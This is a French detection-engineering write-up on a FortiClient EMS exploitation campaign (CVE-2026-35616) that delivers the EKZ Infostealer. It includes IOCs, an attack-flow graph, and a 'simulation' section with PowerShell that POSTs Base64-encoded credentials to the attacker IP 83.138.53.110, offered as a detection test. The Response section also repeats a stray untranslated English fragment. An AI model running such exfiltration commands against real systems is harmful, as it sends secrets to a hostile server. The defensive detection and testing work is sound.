FortiClient EMS exploité via CVE-2026-35616 pour distribuer EKZ Infostealer déguisé en correctif Fortinet
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Arctic Wolf a identifié une campagne exploitant CVE-2026-35616 dans FortiClient EMS pour distribuer un script malveillant PowerShell aux points finaux gérés. Ce script récupérait et lançait une charge utile de vol de données d’identification connue sous le nom de EKZ Infostealer tout en se faisant passer pour un correctif légitime de Fortinet. Le malware collectait les mots de passe du navigateur, les cookies, et les informations de saisie automatique, puis exfiltrait les données volées via HTTP. En abusant des canaux de configuration EMS de confiance, les attaquants ont pu exécuter rapidement la charge utile sur plusieurs appareils gérés.
Enquête
Les chercheurs ont recréé l’exploitation en envoyant des requêtes HTTP spécialement forgées aux API de FortiClient EMS, entraînant des changements de configuration qui inséraient des scripts malveillants. Les traces d’exécution montraient fortitray.exe or ipsec.exe générant cmd.exe, qui à son tour lançait une commande PowerShell encodée en Base64 qui téléchargeait p.exe à partir d’une adresse IP malveillante. La charge utile a écrit un fichier log.txt dans ProgramData, a envoyé les données capturées au même serveur, puis s’est supprimée.
Atténuation
Les organisations devraient mettre à jour FortiClient EMS vers une version qui corrige CVE-2026-35616 et restreindre l’accès à l’API aux adresses IP sources approuvées. Les défenseurs doivent également examiner les journaux EMS pour détecter les erreurs liées aux certificats et les changements inattendus des profils d’accès à distance. Le trafic HTTP sortant des points finaux vers des adresses IP inconnues doit être bloqué, et l’exécution de scripts dans les flux de travail des profils VPN doit être limitée par des contrôles de privilèges minimaux.
Réponse
Si cette activité est détectée, isolez immédiatement les hôtes affectés, révoquez tous les comptes EMS non autorisés qui ont pu être créés, et retirez les fichiers de scripts malveillants du répertoire des journaux de FortiClient. Les enquêteurs doivent préserver l’artéfact, calculer les hachages pour les binaires malveillants, et rechercher des indicateurs correspondants dans l’environnement. Les données d’identification exposées sur le navigateur doivent être réinitialisées, et les équipes devraient surveiller toute activité d’authentification suspecte pouvant suivre le vol. log.txt artifact, calculate hashes for the malicious binaries, and hunt for matching indicators across the environment. Exposed browser credentials should be reset, and teams should monitor for suspicious authentication activity that may follow the theft.
"graph TB %% Class definitions classDef action fill:#99ccff classDef process fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef file fill:#ccffcc classDef technique fill:#ddeeff %% Nodes action_initial_access["<b>Action</b> – <b>T1190 Exploit Public-Facing Application</b><br/>CVEu20112026u201135616 in FortiClient EMS API"] class action_initial_access action process_api_requests["<b>Process</b> – Unauthenticated API requests processed as privileged admin actions"] class process_api_requests process action_cmd_launch["<b>Action</b> – <b>T1059.003 Windows Command Shell</b><br/>fortitray.exe & ipsec.exe launch cmd.exe"] class action_cmd_launch action action_powershell["<b>Action</b> – <b>T1059.001 PowerShell</b><br/>Base64u2011encoded PowerShell script execution"] class action_powershell action technique_obfuscation["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b><br/>Payload delivered as base64"] class technique_obfuscation technique technique_decode["<b>Technique</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/>Runtime base64 decoding"] class technique_decode technique action_download["<b>Action</b> – <b>T1570 Lateral Tool Transfer</b><br/>Download FortiEndpoint_Patch.exe (p.exe)"] class action_download action file_payload["<b>File</b> – FortiEndpoint_Patch.exe (p.exe)<br/>Hosted at http://83.138.53.110/dl/p.exe"] class file_payload file action_execute["<b>Action</b> – <b>T1203 Exploitation for Client Execution</b><br/>Silent execution of downloaded binary"] class action_execute action malware_infostealer["<b>Malware</b> – EKZ Infostealer<br/>Collects credentials, cookies, autofill data"] class malware_infostealer malware technique_cred_access["<b>Technique</b> – <b>T1555.003 Credentials from Web Browsers</b>"] class technique_cred_access technique file_log["<b>File</b> – C:ProgramDatalog.txt<br/>Collected data storage"] class file_log file action_exfil["<b>Action</b> – <b>T1567 Exfiltration Over Web Service</b><br/>HTTP POST to attacker server"] class action_exfil action action_cleanup["<b>Action</b> – <b>T1564 Hide Artifacts</b><br/>Delete malicious files and log"] class action_cleanup action %% Connections action_initial_access –>|leads_to| process_api_requests process_api_requests –>|triggers| action_cmd_launch action_cmd_launch –>|executes| action_powershell action_powershell –>|uses| technique_obfuscation technique_obfuscation –>|requires| technique_decode action_powershell –>|downloads| action_download action_download –>|retrieves| file_payload file_payload –>|executed_by| action_execute action_execute –>|runs| malware_infostealer malware_infostealer –>|performs| technique_cred_access malware_infostealer –>|writes| file_log file_log –>|sent_by| action_exfil action_exfil –>|followed_by| action_cleanup action_cleanup –>|deletes| file_payload action_cleanup –>|deletes| file_log "
Flux d’Attaque
Détections
Nom de Fichier Court (via cmdline)
Voir
Utilisation Suspecte de CURL (via cmdline)
Voir
Appel de Méthodes .NET Suspectes depuis Powershell (via powershell)
Voir
Activité Possible de Transfert par Bits (via powershell)
Voir
IOCs (HashSha256) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet
Voir
IOCs (HashSha1) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet
Voir
IOCs (HashMd5) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet
Voir
IOCs (SourceIP) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet
Voir
IOCs (DestinationIP) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet
Voir
Exfiltration de Données d’Identifications par EKZ Infostealer via HTTP POST [Connexion Réseau Windows]
Voir
FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer [Création de Processus Windows]
Voir
Exécution de PowerShell via FortiClient pour Livrer EKZ Infostealer [Windows Powershell]
Voir
Exécution de Simulation
Prérequis : Le Test Préliminaire de Télémétrie & Baseline doit avoir réussi.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et visent à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront un mauvais diagnostic.
-
Narratif de l’Attaque & Commandes :
L’attaquant a précédemment recueilli des identifiants à partir du registre Windows (famille T1216) en utilisant EKZ Infostealer. Pour exfiltrer le blob collecté, le malware lance une commande PowerShell en une ligne qui envoie par POST les identifiants encodés en Base64 à son serveur de commande et de contrôle à83.138.53.110. L’utilisation de PowerShell (Invoke-WebRequest) est une technique classique d’exploitation du système pour éviter les détections basées sur les binaires tout en produisant une télémétrie réseau observable par le pare-feu.powershell # Charge utile d'identifiants simulée (Base64 de "user:pass") $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!")) $uri = "http://83.138.53.110/collect" Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded" -
Script de Test de Régression : Ce script PowerShell autonome reproduit l’étape d’exfiltration et peut être relancé pour de futures regressions.
powershell <# .SYNOPSIS Simulation d'exfiltration d'identifiants par EKZ Infostealer (HTTP POST). .DESCRIPTION Génère un blob d'identifiants factice, le code, et l'envoie par POST à l' IP malveillante connue utilisée dans la règle de détection. .NOTES Nécessite que le HTTP sortant soit autorisé vers 83.138.53.110 sur le port 80. #> # ---- Préparation ---- $creds = "admin_user:SuperSecret!" $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds)) $target = "http://83.138.53.110/collect" # ---- Exécution ---- try { Write-Host "[*] Envoi du blob d'identifiants à $target ..." $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing Write-Host "[+] Statut HTTP:" $resp.StatusCode } catch { Write-Error "[-] Échec du POST : $_" } # ---- Fin du script ---- -
Commandes de Nettoyage : Aucun artéfact persistant n’est créé sur le disque, mais pour être minutieux, nous fermons toute session de requête web persistante et nettoyons la variable PowerShell.
powershell # Nettoyer les variables et fermer toutes les sessions web ouvertes Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) { Remove-WebRequestSession -All } Write-Host "[*] Nettoyage terminé."